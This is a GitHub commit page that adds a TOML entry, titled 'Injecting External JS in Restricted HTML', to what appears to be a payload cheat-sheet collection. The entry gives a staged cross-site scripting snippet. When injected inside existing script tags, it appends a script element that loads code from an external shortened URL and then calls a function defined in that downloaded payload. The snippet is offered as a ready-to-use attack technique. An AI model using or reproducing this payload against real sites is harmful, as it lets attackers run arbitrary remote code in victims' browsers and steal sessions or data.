Skip to content

Commit

Permalink
Create injecting_external_js_restricted_html.toml
Browse files Browse the repository at this point in the history
added entry
  • Loading branch information
Nickguitar committed Jan 10, 2024
1 parent fbf7c51 commit 9ff5f04
Showing 1 changed file with 27 additions and 0 deletions.
27 changes: 27 additions & 0 deletions entries/injecting_external_js_restricted_html.toml
Original file line number Diff line number Diff line change
@@ -0,0 +1,27 @@
title = "Injecting External JS in Restricted HTML"
description = "Staging external JS code without injecting HTML code"
tags = ["web", "xss"]
source = ["https://github.com/hakluke/weaponised-XSS-payloads/blob/master/staged-xss.js"]

[[data]]
description = "In the event that your payload is stuck inside <script> tags and you want to load an external JS, you can inject this snippet to stage a more complex payload."
language = "javascript"
command = """/*
The external JS payload needs to be inside a function called "a" like this:
function a(){
// payload here
}
It's a good idea to minify the code below after modifying it.
*/
var c=function(){
a() // a() is defined in the script downloaded by the payload
};
var s=document.createElement('script');
s.src='//bit.ly/example';
s.onreadystatechange=c;
document.body.appendChild(s)
"""

0 comments on commit 9ff5f04

Please sign in to comment.